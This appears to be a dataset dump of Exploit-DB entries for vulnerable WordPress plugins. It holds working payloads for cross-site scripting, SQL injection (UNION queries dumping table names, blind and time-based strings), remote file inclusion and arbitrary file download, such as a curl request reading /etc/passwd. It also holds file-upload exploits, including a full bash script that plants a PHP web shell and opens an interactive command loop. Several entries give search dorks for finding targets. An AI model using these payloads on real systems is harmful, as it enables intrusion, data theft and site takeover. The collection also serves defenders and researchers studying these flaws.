deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38251
Description: WordPress Plugin WP-Table Reloaded - 'id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-01-24
Author: hiphop

Exploit:
source: https://www.securityfocus.com/bid/57664/info

The WP-Table Reloaded plugin for WordPress is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

WP-Table Reloaded versions prior to 1.9.4 are vulnerable. 

http://www.example.com/wp-content/plugins/wp-table-reloaded/js/tabletools/zeroclipboard.swf?id=a\%22%29%29}catch%28e%29{alert%281%29}//
Exploit-DB #42166
Description: WordPress Plugin WP-Testimonials < 3.4.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-06-03
Author: Dimitrios Tsagkarakis

Exploit:
# Exploit Title: WP-Testimonials < 3.4.1 Union Based SQL Injection
# Date: 03-06-2017
# Exploit Author: Dimitrios Tsagkarakis
# Website: dtsa.eu 
# Software Link: https://en-gb.wordpress.org/plugins/wp-testimonials/
# Vendor Homepage: http://www.sunfrogservices.com/web-programmer/wp-testimonials/
# Version: 3.4.1
# CVE : CVE-2017-9418

# Category: webapps

 

1. Description:

   

SQL injection vulnerability in the WP-Testimonials plugin 3.4.1 for
WordPress allows an authenticated user to execute arbitrary SQL commands via
the testid parameter to wp-admin/admin.php.

2. Proof of Concept:

http://[wordpress_site]/wp-admin/admin.php?page=sfstst_manage&mode=sfststedi
t&testid=-1 UNION ALL SELECT NULL,@@version,NULL,NULL,NULL,NULL,NULL,NULL--
comment

3. Solution:

   

The plugin has been removed from WordPress. Deactivate the plug-in and wait
for a hotfix.

 

4. Reference:

http://dtsa.eu/wp-testimonials-wordpress-plugin-v-3-4-1-union-based-sql-inje
ction-sqli/

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-9418
Exploit-DB #50988
Description: WordPress Plugin WP-UserOnline 2.87.6 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-07-29
Author: Steffin Stanly

Exploit:
# Exploit Title: WordPress Plugin WP-UserOnline 2.87.6 - Stored Cross-Site Scripting (XSS)
# Date: 21/07/2022
# Exploit Author: Steffin Stanly
# Vendor Homepage: https://github.com/lesterchan/wp-useronline
# Software Link: https://wordpress.org/plugins/wp-useronline/
# Version: <=2.87.6
# Tested on Windows

How to reproduce vulnerability:

1. Install WordPress 6.0.1
2. Install and activate WP-UserOnline plugin.
3. Navigate to Setting >> WP-UserOnline and enter the data into the User(s) Browsing Site.
4. Add the following payload "><script>alert(1)</script> and save changes
5. On visiting the dashboard, You will observe that the payload successfully got stored in the database and when you are triggering the same functionality in that time JavaScript payload is executing successfully and we are getting a pop-up.
Exploit-DB #51020
Description: Wordpress Plugin WP-UserOnline 2.88.0 - Stored Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-09-23
Author: UnD3sc0n0c1d0

Exploit:
# Exploit Title: Wordpress Plugin WP-UserOnline 2.88.0 - Stored Cross Site Scripting (XSS)
# Google Dork: inurl:/wp-content/plugins/wp-useronline/
# Date: 2022-08-24
# Exploit Author: UnD3sc0n0c1d0
# Vendor Homepage: https://github.com/lesterchan/wp-useronline
# Software Link: https://downloads.wordpress.org/plugin/wp-useronline.2.88.0.zip
# Category: Web Application
# Version: 2.88.0
# Tested on: Debian / WordPress 6.0.1
# CVE : CVE-2022-2941
# Reference: https://github.com/lesterchan/wp-useronline/commit/59c76b20e4e27489f93dee4ef1254d6204e08b3c

# 1. Technical Description:
The WP-UserOnline plugin for WordPress has multiple Stored Cross-Site Scripting vulnerabilities in versions 
up to, and including 2.88.0. This is due to the fact that all fields in the “Naming Conventions” section do 
not properly sanitize user input, nor escape it on output. This makes it possible for authenticated attackers, 
with administrative privileges, to inject JavaScript code into the setting that will execute whenever a user 
accesses the injected page.
  
# 2. Proof of Concept (PoC):
  a. Install and activate version 2.88.0 of the plugin.
  b. Go to the plugin options panel (http://[TARGET]/wp-admin/options-general.php?page=useronline-settings).
  c. Identify the "Naming Conventions" section and type your payload in any of the existing fields. You can use 
 	 the following payload:
		<script>alert(/XSS/)</script>
  d. Save the changes and now go to the Dashboard/WP-UserOnline option. As soon as you click here, your payload 
  	 will be executed.

Note: This change will be permanent until you modify the edited fields.
Exploit-DB #42805
Description: WordPress Plugin WPAMS - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-26
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: WPAMS - Apartment Management System for wordpress  - SQL Injection
# Dork: N/A
# Date: 26.09.2017
# Vendor Homepage: http://mojoomla.com/
# Software Link: https://codecanyon.net/item/wpams-apartment-management-system-for-wordpress/15946837
# Demo: http://www.mobilewebs.net/mojoomla/extend/wordpress/apartment/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an student members to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/?apartment-dashboard=user&page=message&tab=view_message&from=inbox&id=[SQL]
# 
# -50++UNION(SELECT(1),(2),(3),(4),(5),(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),(7),(8))--+-
# 
# Etc..
# # # # #
Exploit-DB #42800
Description: WordPress Plugin WPCHURCH - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-26
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: WPCHURCH - Church Management System for Wordpress - SQL Injection
# Dork: N/A
# Date: 26.09.2017
# Vendor Homepage: http://mojoomla.com/
# Software Link: https://codecanyon.net/item/wpchurch-church-management-system-for-wordpress/14292251
# Demo: http://mobilewebs.net/mojoomla/extend/wordpress/church/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an student members to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/?church-dashboard=user&page=message&tab=view_message&from=inbox&id=[SQL]
# 
# -50++UNION(SELECT(1),(2),(3),(4),(5),(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),(7),(8))--+-
# 
# Etc..
# # # # #
Exploit-DB #35340
Description: WordPress Plugin wpDataTables 1.5.3 - SQL Injection
Type: webapps
Platform: php
Date: 2014-11-24
Author: Claudio Viviani

Exploit:
######################

# Exploit Title : Wordpress wpDataTables 1.5.3 and below SQL Injection Vulnerability

# Exploit Author : Claudio Viviani 

# Software Link : http://wpdatatables.com (Premium)

# Date : 2014-11-22

# Tested on : Windows 7 / Mozilla Firefox
              Windows 7 / sqlmap (0.8-1)
              Linux / Mozilla Firefox
              Linux / sqlmap 1.0-dev-5b2ded0

######################


# Description

Wordpress wpDataTables 1.5.3 and below suffers from SQL injection vulnerability

"table_id" variable is not sanitized.

File: wpdatatables.php
------------------------
    // AJAX-handlers
    add_action( 'wp_ajax_get_wdtable', 'wdt_get_ajax_data' );
    add_action( 'wp_ajax_nopriv_get_wdtable', 'wdt_get_ajax_data' );

	/**
	 * Handler which returns the AJAX response
	 */
	 function wdt_get_ajax_data(){
	 	$id = $_GET['table_id']; <------------------- Not Sanitized!
	   	$table_data = wdt_get_table_by_id( $id );
	   	$column_data = wdt_get_columns_by_table_id( $id );
	   	$column_headers = array();
	   	$column_types = array();
	   	$column_filtertypes = array();
	   	$column_inputtypes = array();
		   foreach($column_data as $column){
		   		$column_order[(int)$column->pos] = $column->orig_header;
		   		if($column->display_header){
			   		$column_headers[$column->orig_header] = $column->display_header;
		   		}
		   		if($column->column_type != 'autodetect'){
			   		$column_types[$column->orig_header] = $column->column_type;
		   		}else{
			   		$column_types[$column->orig_header] = 'string';
		   		}	
		   		$column_filtertypes[$column->orig_header] = $column->filter_type;
		   		$column_inputtypes[$column->orig_header] = $column->input_type;
		   }
------------------------

(The vulnerable variable is located in others php files)


######################

# PoC

http://TARGET/wp-admin/admin-ajax.php?action=get_wdtable&table_id=1 [Sqli]

# Sqlmap

sqlmap -u "http://TARGET/wp-admin/admin-ajax.php?action=get_wdtable&table_id=1" -p table_id --dbms mysql

---
Parameter: table_id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: action=get_wdtable&table_id=1 AND 9029=9029

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: action=get_wdtable&table_id=1 AND SLEEP(5)

---


#####################

Discovered By : Claudio Viviani
                http://www.homelab.it
		
                info@homelab.it
                homelabit@protonmail.ch

                https://www.facebook.com/homelabit
                https://twitter.com/homelabit
                https://plus.google.com/+HomelabIt1/
                https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

#####################
Exploit-DB #49962
Description: Wordpress Plugin wpDiscuz 7.0.4 - Arbitrary File Upload (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-06-07
Author: UnD3sc0n0c1d0

Exploit:
# Exploit Title: Wordpress Plugin wpDiscuz 7.0.4 - Arbitrary File Upload (Unauthenticated)
# Google Dork: inurl:/wp-content/plugins/wpdiscuz/
# Date: 2021-06-06
# Original Author: Chloe Chamberland 
# Exploit Author: Juampa Rodríguez aka UnD3sc0n0c1d0
# Vendor Homepage: https://gvectors.com/
# Software Link: https://downloads.wordpress.org/plugin/wpdiscuz.7.0.4.zip
# Version: 7.0.4
# Tested on: Ubuntu / WordPress 5.6.2
# CVE : CVE-2020-24186

#!/bin/bash

if [ -z $1 ]
then
  echo -e "\n[i] Usage: exploit.sh [IP] [/index.php/2021/06/06/post]\n"
  exit 0
elif [ -z $2 ]
then
  echo -e "\n[i] Usage: exploit.sh [IP] [/index.php/2021/06/06/post]\n"
  exit 0
else

post=$(curl -sI http://$1$2/ | head -n1)

if [[ "$post" == *"200 OK"* ]]; then
    wmu_nonce=$(curl -s http://$1$2/ | sed -r "s/wmuSecurity/\nwmuSecurity/g" | grep wmuSecurity | cut -d '"' -f3)
    webshell=$(curl -isk -X 'POST' -H 'X-Requested-With: XMLHttpRequest' -H 'Content-Type: multipart/form-data; boundary=---------------------------WebKitFormBoundaryUnD3s' --data-binary $'-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"action\"\x0d\x0a\x0d\x0awmuUploadFiles\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"wmu_nonce\"\x0d\x0a\x0d\x0a'$wmu_nonce$'\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"wmuAttachmentsData\"\x0d\x0a\x0d\x0aundefined\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"wmu_files[0]\"; filename=\"a.php\" Content-Type: image/jpeg\x0d\x0a\x0d\x0aGIF8\x0d\x0a<?php\x0d\x0aif(isset($_REQUEST[\'cmd\'])){\x0d\x0a        $cmd = ($_REQUEST[\'cmd\']);\x0d\x0a        system($cmd);\x0d\x0a        die;\x0d\x0a}\x0d\x0a?>\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"postId\"\x0d\x0a\x0d\x0a18\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s--\x0d\x0a' http://$1/wp-admin/admin-ajax.php | sed 's/\":"\http/\nhttp/g' | grep "http\:\\\\/" | cut -d '"' -f1 | sed 's/\\//g')

    echo -e "\nWebshell:" $webshell"\n"
    echo -e "--------------WIN--------------"
    echo -e "        ¡Got  webshell!        "
    echo -e "-------------------------------\n"
    while :
    do
	read -p '$ ' command
	curl -s $webshell?cmd=$command | grep -v GIF8
done
else
    echo -e "\n[!] The indicated post was not found\n"
fi
fi
Exploit-DB #17862
Description: WordPress Plugin WPEasyStats 1.8 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2011-09-19
Author: Ben Schmidt

Exploit:
# Exploit Title: Wpeasystats Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/wpeasystats
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/wpeasystats/download/
# Version: 1.8

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/wpeasystats/export.php?homep=RFI

---
Vulnerable Code
---
$core = $_GET['homep'].'wp-load.php';
include( $core );
Exploit-DB #50120
Description: WordPress Plugin WPFront Notification Bar 1.9.1.04012 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-07-13
Author: Swapnil Subhash Bodekar

Exploit:
# Exploit Title: WordPress Plugin WPFront Notification Bar 1.9.1.04012 - Stored Cross-Site Scripting (XSS)
# Date: 11/07/2021
# Exploit Author: Swapnil Subhash Bodekar
# Vendor Homepage:
# Software Link: https://wordpress.org/plugins/wpfront-notification-bar/
# Version:  1.9.1.04012
# Tested on Windows
# Category: Web Application

How to reproduce vulnerability:

1. Install WordPress 5.7.2
2. Install and activate  *WPFront Notification Bar* plugin.

3. Navigate to *WPFront Notification Bar *>> Setting >> notification bar and
fill the required data and enter the below-mentioned payload into the Custom
CSS user input field.

</textarea><script>prompt(1)</script>

5. You will observe that the payload successfully got stored into the
database and when you are triggering the same functionality in that time
JavaScript payload is executing successfully and we are getting a pop-up.
Exploit-DB #42801
Description: WordPress Plugin WPGYM - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-26
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: WPGYM - Wordpress Gym Management System  - SQL Injection
# Dork: N/A
# Date: 26.09.2017
# Vendor Homepage: http://mojoomla.com/
# Software Link: https://codecanyon.net/item/-wpgym-wordpress-gym-management-system/13352964
# Demo: http://www.mobilewebs.net/mojoomla/extend/wordpress/gym/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an student members to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/?dashboard=user&page=message&tab=view_message&from=inbox&id=[SQL]
# 
# -50++UNION(SELECT(1),(2),(3),(4),(5),(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),(7),(8))--+-
# 
# Etc..
# # # # #
Exploit-DB #42924
Description: WordPress Plugin WPHRM - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-29
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: WordPress Plugin WPHRM - SQL Injection
# Dork: N/A
# Date: 29.09.2017
# Vendor Homepage: http://mojoomla.com/
# Software Link: https://codecanyon.net/item/wphrm-human-resource-management-system-for-wordpress/20555857
# Demo: http://mobilewebs.net/mojoomla/extend/wordpress/wphrm/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-14848
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an employee users to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/?hr-dashboard=user&page=message&tab=view_message&from=inbox&id=[SQL]
# 
# -23+union+select 1,2,3,4,5,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),7,8--%20-
# 
# http://localhost/[PATH]/?hr-dashboard=user&page=user&tab=view_employee&action=view&employee_id=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #37123
Description: WordPress Plugin WPsc MijnPress - 'rwflush' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-04-30
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/53302/info

The WPsc MijnPress for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/wp-content/plugins/wp-content/plugins/wpsc-mijnpress/mijnpress_plugin_framework.php?rwflush=[xss]
Exploit-DB #50520
Description: WordPress Plugin WPSchoolPress 2.1.16 - 'Multiple' Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-11-15
Author: Davide Taraschi

Exploit:
# Exploit Title: WordPress Plugin WPSchoolPress 2.1.16 - 'Multiple' Cross Site Scripting (XSS)
# Date: 20/08/2021
# Exploit Author: Davide Taraschi
# Vendor Homepage: https://wpschoolpress.com/
# Software Link: https://wpschoolpress.com/free-download/
# Version: up to 2.1.17 (non included)
# Tested on: Ubuntu 20.04 over WordPress 5.8 and apache2
# CVE : CVE-2021-24664

# Description:
The plugin sanitise some fields using a wordpress built-in function called sanitize_text_field() but does not correctly escape them before outputting in attributes, resulting in Stored Cross-Site Scripting issues.
The function wp_sanitize_text_field() escape < and > but does not escape characters like ", allowing an attacker to break a HTML input tag and inject arbitrary javascript.

# PoC:
As admin,
- Add a new teacher attendance (/wp-admin/admin.php?page=sch-teacherattendance), Tick the Absent box and put the following payload in the Reason: "style=animation-name:rotation onanimationstart=alert(/XSS/)//
The XSS will be triggered when adding another teacher attendance by clicking on the Add button

- Add a new Student Attendance (/wp-admin/admin.php?page=sch-attendance), tick the Absent box and put the following payload in the Reason: " style=animation-name:rotation onanimationstart=alert(/XSS/)//
The XSS will be triggered when adding another attendance by clicking the 'Add/Update' button

- Add a new Subject Mark Field (/wp-admin/admin.php?page=sch-settings&sc=subField) and put the following payload in the 'Field': " autofocus onfocus=alert(/XSS/)//
The XSS will be triggered when editing the created Subject Mark (ie /admin.php?page=sch-settings&sc=subField&ac=edit&sid=3)

- Create a new Subject (/wp-admin/admin.php?page=sch-subject), with the following payload in the Subject Name field: " autofocus onfocus=alert(/XSS/)//
The XSS will be triggered when editing the Subject

- Create a new Exam (/wp-admin/admin.php?page=sch-exams) with the following payload in the Exam Name Field: " autofocus onfocus=alert(/XSS/)//
The XSS will be triggered when editing the Exam=20

Note that some of this XSS issues can be executed by a teacher (medium-privileged user), but since wordpress uses HTTPonly cookies is impossible to steal cookies.
Exploit-DB #39279
Description: WordPress Plugin wpSS - 'ss_handler.php' SQL Injection
Type: webapps
Platform: php
Date: 2014-08-06
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/69089/info

The WordPress Spreadsheet plugin (wpSS) is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

wpSS 0.62 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/wpSS/ss_handler.php?ss_id=-20%20UNION%20ALL%20SELECT%201,2,3,4#
Exploit-DB #19023
Description: WordPress Plugin wpStoreCart 2.5.27-2.5.29 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-08
Author: Sammy FORGIT

Exploit:
##################################################
# Description : Wordpress Plugins - wpStoreCart Arbitrary File Upload 
Vulnerability
# Version : 2.5.27 - 2.5.29
# Link : http://wordpress.org/extend/plugins/wpstorecart/
# Plugins : http://downloads.wordpress.org/plugin/wpstorecart.2.5.29.zip
# Date : 03-06-2012
# Google Dork : inurl:/wp-content/plugins/wpstorecart/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/wpstorecart/php/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/uploads/wpstorecart/lo.php

lo.php
<?php
phpinfo();
?>
Exploit-DB #37751
Description: WordPress Plugin WPTF Image Gallery 1.03 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2015-08-10
Author: Larry W. Cashdollar

Exploit:
Title: Remote file download vulnerability in wptf-image-gallery v1.03
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-17
Download Site: https://wordpress.org/plugins/wptf-image-gallery
Vendor: https://profiles.wordpress.org/sakush100/
Vendor Notified: 0000-00-00
Vendor Contact: plugins@wordpress.org
Description: WordPress True Fullscreen (WPTF) Gallery is a modern gallery plugin that supports true fullscreen and have a lot of features built with it.
Vulnerability:
  The ./wptf-image-gallery/lib-mbox/ajax_load.php code doesn't sanitize user input or check that a user is authorized to download files.  This allows an unauthenticated user to download sensitive system files: 


  1 <?php
  2 error_reporting(0);
  3 $homepage = file_get_contents($_GET['url']);
  4 $homepage = str_replace("script", "mboxdisablescript", $homepage);
  5 $homepage = str_replace("SCRIPT", "mboxdisablescript", $homepage);
  6 echo $homepage;
  7 ?>

CVEID:
OSVDB:
Exploit Code:
  • $ curl http://server/wp-content/plugins/wptf-image-gallery/lib-mbox/ajax_load.php?url=/etc/passwd
Exploit-DB #18039
Description: WordPress Plugin wptouch - SQL Injection
Type: webapps
Platform: php
Date: 2011-10-27
Author: longrifle0x

Exploit:
# Exploit Title: WordPress wptouch plugin SQL Injection Vulnerability
# Date: 2011-27-10
# Author: longrifle0x
# software: Wordpress
# Tools: SQLMAP
---------------
(POST data)
---------------

http://www.site.com/wp-content/plugins/wptouch/ajax.php

#Exploit: id=-1; id=- AND SLEEP(5) or 1=if

http://site.com/wp-content/plugins/wptouch/ajax.php][GET][id=-1][CURRENT_USER()

http://site.com/wp-content/plugins/wptouch/ajax.php][GET][id=-1][SELECT
(CASE WHEN ((SELECT super_priv FROMmysql.user WHERE user='None' LIMIT
0,1)='Y') THEN 1 ELSE 0 END)

http://site.com/wp-content/plugins/wptouch/ajax.php][GET][id=-1][MID((VERSION()),1,6)